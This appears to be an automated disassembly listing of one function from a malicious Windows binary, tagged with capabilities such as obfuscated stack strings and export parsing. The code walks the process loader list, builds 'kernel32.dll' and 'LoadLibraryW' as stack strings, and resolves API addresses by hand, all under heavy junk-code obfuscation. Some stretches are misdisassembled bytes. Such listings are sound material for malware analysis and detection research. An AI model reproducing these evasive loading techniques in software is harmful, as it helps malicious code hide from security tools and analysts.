Function at 0x437a49
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add edi, 0x8643
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x19a4], edx
mov eax, dword [ebp - 0x19a4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x19a8], ecx
mov edx, dword [ebp - 0x19a8]
mov dword [ebp - 0x15d8], edx
push edi
push eax
add esp, 4
xor edi, 0x17610
pop edi
push edi
push edi
add esp, 4
add edi, 0x15e24
pop edi
push edx
or edx, 0x149f0
or edx, 0x10b69
xor edx, 0xb904
and edx, 0x11ebd
pop edx
cmp dword [ebp - 0x15d8], 0
jne 0x43769f
mov dword [ebp - 0x31c], 0
jmp 0x43795b
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push edx
push edi
add esp, 4
sub edx, 0xff06
sub edx, 0x58e5
pop edx
push esi
push eax
add esp, 4
sub esi, 0x3111
sub esi, 0xb8a7
jmp 0x4376dc
or esi, 0x12d82
pop esi
cmp dword [ebp - 0xc98], 0
jne 0x4376fb
mov dword [ebp - 0x31c], 0
jmp 0x43795b
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push ebx
push ecx
add esp, 4
xor ebx, 0x2235
jmp 0x437718
pop ebx
push esi
push edi
add esp, 4
sub esi, 0x9f5f
sub esi, 0x5fdd
jmp 0x437732
or esi, 0x1cd9
pop esi
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push ecx
add ecx, 0x3e2d
xor ecx, 0x2399
or ecx, 0x8ac0
pop ecx
push esi
push ebx
add esp, 4
add esi, 0x1334a
xor esi, 0x3cb6
xor esi, 0x92e6
or esi, 0x96b
pop esi
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push ecx
push edi
add esp, 4
or ecx, 0xf4d2
pop ecx
push esi
jmp 0x437805
xor esi, 0x27d9
call 0x43781a
add byte [eax + 0x45], cl
dec ebp
cmp cl, byte [ebx + 0x44]
dec edx
cmp byte [ebp - 0x7d], al
les eax, [ecx + eax*4]
neg byte [esi + 0x5e000034]
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x437847
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x4378aa
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x437766
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x437766
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x437894
mov dword [ebp - 0x15dc], 0xffffffff
jmp 0x43789e
mov dword [ebp - 0x15dc], 1
mov edx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15e0], edx
cmp dword [ebp - 0x15e0], 0
jne 0x4378f3
push ebx
push esi
add esp, 4
add ebx, 0x13972
add ebx, 0x567b
or ebx, 0x2a79
pop ebx
push ecx
and ecx, 0x17afb
or ecx, 0xba11
add ecx, 0x167fd
xor ecx, 0x47d
pop ecx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x43795b
push esi
and esi, 0xe845
sub esi, 0x160c3
add esi, 0x11efc
and esi, 0x117bc
pop esi
push edx
push ebx
add esp, 4
or edx, 0x1168e
add edx, 0xbc7e
or edx, 0xd851
pop edx
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x437951
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x437707
mov dword [ebp - 0x31c], 0
push edx
or edx, 0xd96
and edx, 0x5dc6
sub edx, 0xef1c
pop edx
push eax
push eax
add esp, 4
or eax, 0x8b45
call 0x437989
add byte [ebx + 0x4b], al
inc ebp
dec edx
inc edi
dec ebp
cmp eax, dword [ecx + 0x4c]
add esp, 4
pop eax
cmp dword [ebp - 0x31c], 0
jne 0x4382a6
mov edx, 0x6b
mov word [ebp - 0x1754], dx
mov eax, 0x65
mov word [ebp - 0x1752], ax
mov ecx, 0x72
mov word [ebp - 0x1750], cx
mov edx, 0x6e
mov word [ebp - 0x174e], dx
mov eax, 0x65
mov word [ebp - 0x174c], ax
mov ecx, 0x6c
mov word [ebp - 0x174a], cx
mov edx, 0x33
mov word [ebp - 0x1748], dx
mov eax, 0x32
mov word [ebp - 0x1746], ax
mov ecx, 0x2e
mov word [ebp - 0x1744], cx
mov edx, 0x64
mov word [ebp - 0x1742], dx
mov eax, 0x6c
mov word [ebp - 0x1740], ax
mov ecx, 0x6c
mov word [ebp - 0x173e], cx
xor edx, edx
mov word [ebp - 0x173c], dx
push eax
sub eax, 0x3e49
pop eax
push edx
call 0x437a49
add byte [ebx + 0x38], al
inc ecx
inc ebx
inc edx
aaa
aas
add esp, 4
sub edx, 0x16cf3
jmp 0x437a58
pop edx
push eax
push esi
add esp, 4
xor eax, 0x2a61
pop eax
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19ac], eax
mov ecx, dword [ebp - 0x19ac]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19b0], edx
mov eax, dword [ebp - 0x19b0]
mov dword [ebp - 0x15e4], eax
push edx
push esi
add esp, 4
xor edx, 0x4808
sub edx, 0x154d
or edx, 0x1535e
pop edx
push edx
or edx, 0x111f9
and edx, 0x170cf
sub edx, 0x5f66
sub edx, 0x3986
pop edx
cmp dword [ebp - 0x15e4], 0
jne 0x437b31
mov dword [ebp - 0x750], 0
jmp 0x437ded
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push eax
push edx
add esp, 4
sub eax, 0x9e62
pop eax
push ecx
push eax
add esp, 4
or ecx, 0x13fd
pop ecx
push ecx
or ecx, 0x5b21
call 0x437b71
add byte [esi + eax*2 + 0x50], al
cmp eax, dword [ebx + 0x3c]
cmp al, 0x38
aaa
add esp, 4
pop ecx
cmp dword [ebp - 0xca4], 0
jne 0x437b8d
mov dword [ebp - 0x750], 0
jmp 0x437ded
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push edx
call 0x437ba6
add byte [esi], dh
inc esi
cmp cl, byte [ebx + 0x42]
add esp, 4
jmp 0x437bb1
jmp 0x437bb7
call 0x437bc7
add byte [ebx + 0x33], cl
xor ecx, dword [ecx + 0x3f]
inc esp
dec edx
xor al, byte [esi + 0x3d]
add esp, 4
pop edx
lea edx, [ebp - 0x1754]
mov dword [ebp - 0xca0], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc9c], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push eax
or eax, 0x1632e
add eax, 0x106fa
add eax, 0xc67
pop eax
push eax
push eax
add esp, 4
and eax, 0xb692
pop eax
push eax
push edi
add esp, 4
xor eax, 0x1117
xor eax, 0x19a1
pop eax
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push esi
push edi
add esp, 4
jmp 0x437c92
sub esi, 0xa8a3
jmp 0x437c9f
xor esi, 0x8624
pop esi
push esi
or esi, 0x62a8
pop esi
push ecx
add ecx, 0x1319f
pop ecx
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x437cd9
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x437d3c
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x437bf8
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x437bf8
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x437d26
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x437d30
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x437d85
push ebx
or ebx, 0x22fc
or ebx, 0x16551
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0x991b
or ebx, 0x4177
jmp 0x437d6d
jmp 0x437d76
pop ebx
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x437ded
push esi
push edx
add esp, 4
call 0x437d9a
add byte [edx], bh
inc eax
inc edi
xor eax, 0x383e3541
cmp dword [esi], esi
add esp, 4
pop esi
push ecx
jmp 0x437da4
xor ecx, 0x14e90
or ecx, 0x9dc8
or ecx, 0x4ab7
pop ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x437de3
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x437b99
mov dword [ebp - 0x750], 0
push edx
call 0x437dfe
add byte [ecx], bh
inc edi
dec ebp
aas
dec edi
xor al, 0x41
cmp al, 0x3c
inc esp
add esp, 4
pop edx
push edx
jmp 0x437e0c
sub edx, 0x4ee
xor edx, 0xea4b
or edx, 0xd3e1
pop edx
cmp dword [ebp - 0x750], 0
jne 0x437e69
push ebx
or ebx, 0x6117
jmp 0x437e37
call 0x437e44
add byte [0x3e384835], bh
dec edx
dec ebx
add esp, 4
pop ebx
push edx
push esi
add esp, 4
sub edx, 0x1431b
xor edx, 0x174a0
pop edx
mov dword [ebp - 0x79c], 0
jmp 0x438990
push esi
push edx
add esp, 4
sub esi, 0xe98e
jmp 0x437e7d
call 0x437e89
add byte [eax], bh
xor al, 0x40
xor al, byte [eax + 0x4d]
add esp, 4
sub esi, 0x4367
pop esi
push eax
jmp 0x437e9a
pop eax
mov eax, dword [ebp - 0x750]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f0], edx
cmp dword [ebp - 0x15f0], 0
jne 0x437eda
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x4381cb
mov ecx, dword [ebp - 0x15f0]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15f4], edx
jne 0x437f02
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x4381cb
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15f4]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15f8], ecx
cmp dword [ebp - 0x15f8], 0
jne 0x437f34
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
jmp 0x4381cb
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x15f8]
mov dword [ebp - 0x754], eax
jne 0x437f59
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], ecx
jmp 0x4381cb
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19b4], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19b8], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19bc], ecx
mov dword [ebp - 0x758], 0
jmp 0x437fb3
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [eax + 0x18]
jae 0x4381bf
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x19b8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19bc]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19c0], eax
mov dword [ebp - 0x198], 0
jmp 0x438023
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x4380d5
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
test edx, edx
je 0x4380d5
push ecx
push edi
add esp, 4
add ecx, 0x43a0
xor ecx, 0x15816
or ecx, 0x17ad2
pop ecx
push ebx
sub ebx, 0x77a4
sub ebx, 0x91a0
xor ebx, 0x139bd
add ebx, 0x110c
pop ebx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
cmp ecx, eax
je 0x4380c7
mov ecx, dword [ebp - 0x75c]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x894]
cmp edx, ecx
jne 0x4380ce
jmp 0x438014
jmp 0x4380d5
push ecx
sub ecx, 0x1bc7
sub ecx, 0x12fa6
pop ecx
push ecx
push ecx
add esp, 4
and ecx, 0x7a08
xor ecx, 0x155f5
pop ecx
push esi
push ebx
add esp, 4
add esi, 0xb791
and esi, 0x15f0b
pop esi
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
cmp eax, edx
jne 0x438134
mov dword [ebp - 0xca8], 0
jmp 0x4381a3
push edi
xor edi, 0x17e62
or edi, 0x2441
pop edi
push edx
push ecx
add esp, 4
and edx, 0x9d63
call 0x43815c
add byte [edi + 0x32474650], bh
cmp eax, dword [edx + 0x47]
add esp, 4
add edx, 0x11ade
pop edx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
or eax, 0x20
cmp ecx, eax
jge 0x438199
mov dword [ebp - 0xca8], 0xffffffff
jmp 0x4381a3
mov dword [ebp - 0xca8], 1
cmp dword [ebp - 0xca8], 0
jne 0x4381ba
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x3f4], ecx
jmp 0x4381cb
jmp 0x437fa4
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
cmp dword [ebp - 0x3f4], 0
je 0x4382a6
push ebx
jmp 0x4381e1
xor ebx, 0x9c0d
pop ebx
push edx
push ebx
add esp, 4
jmp 0x4381f5
pop edx
push ecx
push edi
add esp, 4
jmp 0x438203
xor ecx, 0x181ce
pop ecx
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x19c4], eax
push ecx
push edi
add esp, 4
sub ecx, 0x43da
xor ecx, 0x4a7a
and ecx, 0x10019
pop ecx
push esi
push ebx
add esp, 4
sub esi, 0x142d5
pop esi
push esi
sub esi, 0x84f2
and esi, 0x6ec8
pop esi
mov ecx, dword [ebp - 0x19c4]
mov dword [ebp - 0x19c8], ecx
lea edx, [ebp - 0x1738]
push edx
call dword [ebp - 0x19c8]
test eax, eax
jne 0x4382a6
push ebx
and ebx, 0x117ca
jmp 0x438272
sub ebx, 0x164c9
pop ebx
push edx
push ecx
add esp, 4
add edx, 0x1303a
add edx, 0x1535c
add edx, 0xd823
xor edx, 0xbe93
pop edx
mov dword [ebp - 0x79c], 0
jmp 0x438990
push eax
sub eax, 0x149a3
add eax, 0x1332e
and eax, 0x16dc9
pop eax
push edx
push ebx
add esp, 4
sub edx, 0x2042
and edx, 0x56a6
and edx, 0xe8a9
add edx, 0x8578
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19cc], eax
mov ecx, dword [ebp - 0x19cc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19d0], edx
mov eax, dword [ebp - 0x19d0]
mov dword [ebp - 0x15fc], eax
push eax
push edi
add esp, 4
sub eax, 0x185f
pop eax
push ebx
push eax
add esp, 4
and ebx, 0x16c9
or ebx, 0x123e5
xor ebx, 0x16d19
sub ebx, 0x726b
pop ebx
push eax
add eax, 0x16407
pop eax
cmp dword [ebp - 0x15fc], 0
jne 0x438349
mov dword [ebp - 0x31c], 0
jmp 0x4385f0
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
push ecx
or al, 0x8b
inc edx
or al, 0x89
test dword [ebx + esi*8 - 1], ecx
call dword [esi + 0x56]
add esp, 4
and esi, 0x8737
xor esi, 0x14ed0
and esi, 0xcac1
or esi, 0x6aa6
pop esi
push eax
add eax, 0x2ef7
jmp 0x438386
add eax, 0x12637
pop eax
cmp dword [ebp - 0xcb4], 0
jne 0x4383a5
mov dword [ebp - 0x31c], 0
jmp 0x4385f0
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx
push eax
push edx
add esp, 4
or eax, 0x131f
add eax, 0x159e4
jmp 0x4383c8
or eax, 0x5664
pop eax
push edx
push edi
add esp, 4
sub edx, 0xb0dd
jmp 0x4383e2
pop edx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edx
push ebx
add esp, 4
add edx, 0x13842
sub edx, 0x1820e
pop edx
push ebx
or ebx, 0x319d
xor ebx, 0x1209d
xor ebx, 0xe2bd
pop ebx
push ecx
push ebx
add esp, 4
add ecx, 0x14daf
pop ecx
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x34], dx
push eax
push edi
add esp, 4
xor eax, 0x83ac
jmp 0x4384a8
call 0x4384b8
add byte [ecx + 0x42], al
inc esi
xor al, 0x50
push eax
dec ebp
cmp eax, 0x4c48333
pop eax
push edx
push ebx
add esp, 4
or edx, 0x980
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4384e5
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1604], ecx
jmp 0x43853f
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x43840d
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x43840d
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x438529
mov dword [ebp - 0x1600], 0xffffffff
jmp 0x438533
mov dword [ebp - 0x1600], 1
mov eax, dword [ebp - 0x1600]
mov dword [ebp - 0x1604], eax
cmp dword [ebp - 0x1604], 0
jne 0x438588
push ebx
xor ebx, 0x7bbd
pop ebx
push ecx
push eax
add esp, 4
call 0x438563
add byte [edi + 0x48], al
dec esp
cmp eax, dword [eax + 0x39]
cmp bh, byte [eax]
add esp, 4
pop ecx
push ecx
call 0x438576
add byte [ecx], bh
cmp dword [eax + 0x3e], edx
xor al, byte [edx + 0x4c]
cmp eax, dword [ebx - 0x74a6fb3c]
invalid
push esi
jmp 0x43858e
pop esi
push edi
push edx
add esp, 4
xor edi, 0xc3e1
jmp 0x43859f
xor edi, 0x8545
or edi, 0x11fd9
pop edi
push edi
add edi, 0x59b7
add edi, 0x856b
pop edi
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xcb4]
je 0x4385e6
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x4383b1
mov dword [ebp - 0x31c], 0
push ebx
or ebx, 0x163dc
xor ebx, 0x81e9
pop ebx
push ebx
push esi
add esp, 4
and ebx, 0xd4ad
or ebx, 0xf147
call 0x43861e
add byte [eax + 0x4a], dl
xor al, byte [ecx + ecx*2 + 0x48]
xor bh, byte [ebx]
inc ecx
add esp, 4
pop ebx
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push edx
call 0x438641
add byte [ebp + 0x39], cl
xor dh, byte [0x36474f4b]
push eax
add esp, 4
pop edx
push ebx
push edx
add esp, 4
call 0x438659
add byte [esi + 0x32], cl
aaa
inc eax
dec edi
xor eax, 0x83324d50
les eax, [ecx + eax*4]
fild dword [ebp - 0x38a4ffff]
test dword [eax + 0xfffff8], edx
add byte [eax], al
add byte [ebx - 0x3236b], cl
dec dword [ecx - 0x16076b]
inc dword [ebx - 0x160743]
inc dword [eax]
jne 0x438693
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x438984
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x4386bb
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x438984
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x4386ed
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x438984
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x438712
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x438984
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19d8], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d60], ecx
mov dword [ebp - 0x768], 0
jmp 0x43876c
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x438978
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19d4]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19d8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d60]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19dc], eax
mov dword [ebp - 0x19c], 0
jmp 0x4387dc
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x43888e
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x43888e
push eax
sub eax, 0x13516
or eax, 0x16ad
jmp 0x43881d
pop eax
push edi
add edi, 0x2648
pop edi
push edx
jmp 0x43882c
pop edx
push eax
xor eax, 0x39c3
or eax, 0x8c7
pop eax
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x438880
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x438887
jmp 0x4387cd
jmp 0x43888e
push edx
jmp 0x438896
pop edx
push ebx
push eax
add esp, 4
call 0x4388ab
add byte [ebp + 0x48], al
push eax
xor edi, dword [edx]
cmp eax, dword [edx + 0x47]
dec ecx
add esp, 4
jmp 0x4388b3
pop ebx
push ecx
push eax
add esp, 4
add ecx, 0x12853
pop ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x4388ed
mov dword [ebp - 0xcb8], 0
jmp 0x43895c
push esi
sub esi, 0x7f5b
xor esi, 0x187c
add esi, 0x53e
sub esi, 0x10f5b
pop esi
push ecx
push edx
add esp, 4
add ecx, 0x1cc4
add byte [eax], al
pop ecx
push edi
push edi
add esp, 4
add edi, 0x109a8
pop edi
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x438952
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x43895c
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x438973
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x510], ecx
jmp 0x438984
jmp 0x43875d
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push esi
xor esi, 0x4a28
or esi, 0x3fed
xor esi, 0x10be
and esi, 0x2c27
pop esi
push esi
push edx
add esp, 4
and esi, 0x171a7
or esi, 0xa51f
and esi, 0x12a6d
pop esi
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x1a2c], ecx
push ecx
push edi
add esp, 4
and ecx, 0x61cb
add ecx, 0x135ae
sub ecx, 0xb68
xor ecx, 0x17449
pop ecx
push edi
add edi, 0xf50d
pop edi
push esi
push ebx
add esp, 4
or esi, 0xa7bb
pop esi
cmp dword [ebp - 0x3e8], 0
je 0x438a15
cmp dword [ebp - 0xab8], 0
jne 0x438a5b
push ebx
push esi
add esp, 4
xor ebx, 0x133b6
pop ebx
push esi
push edx
add esp, 4
add esi, 0x15d9c
and esi, 0x5031
pop esi
push eax
add eax, 0x10e5
xor eax, 0x8b13
or eax, 0x10d3c
pop eax
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e0], edx
push 0
call dword [ebp - 0x19e0]
mov dword [ebp - 0x20f8], 0xa
push edx
push ecx
add esp, 4
xor edx, 0xddd
xor edx, 0x8091
and edx, 0x1746e
pop edx
push esi
and esi, 0x17469
xor esi, 0x3a6d
or esi, 0xbef2
and esi, 0x67ee
pop esi
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push ecx
push ebx
add esp, 4
and ecx, 0x15db3
xor ecx, 0xdd3
or ecx, 0xbb7a
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0x62fc
call 0x43ede1
pop eax
push edi
xor edi, 0x8eee
sub edi, 0xc01e
pop edi
mov byte [ebp - 0x9d4], 0x56
invalid
invalid
invalid
idiv bh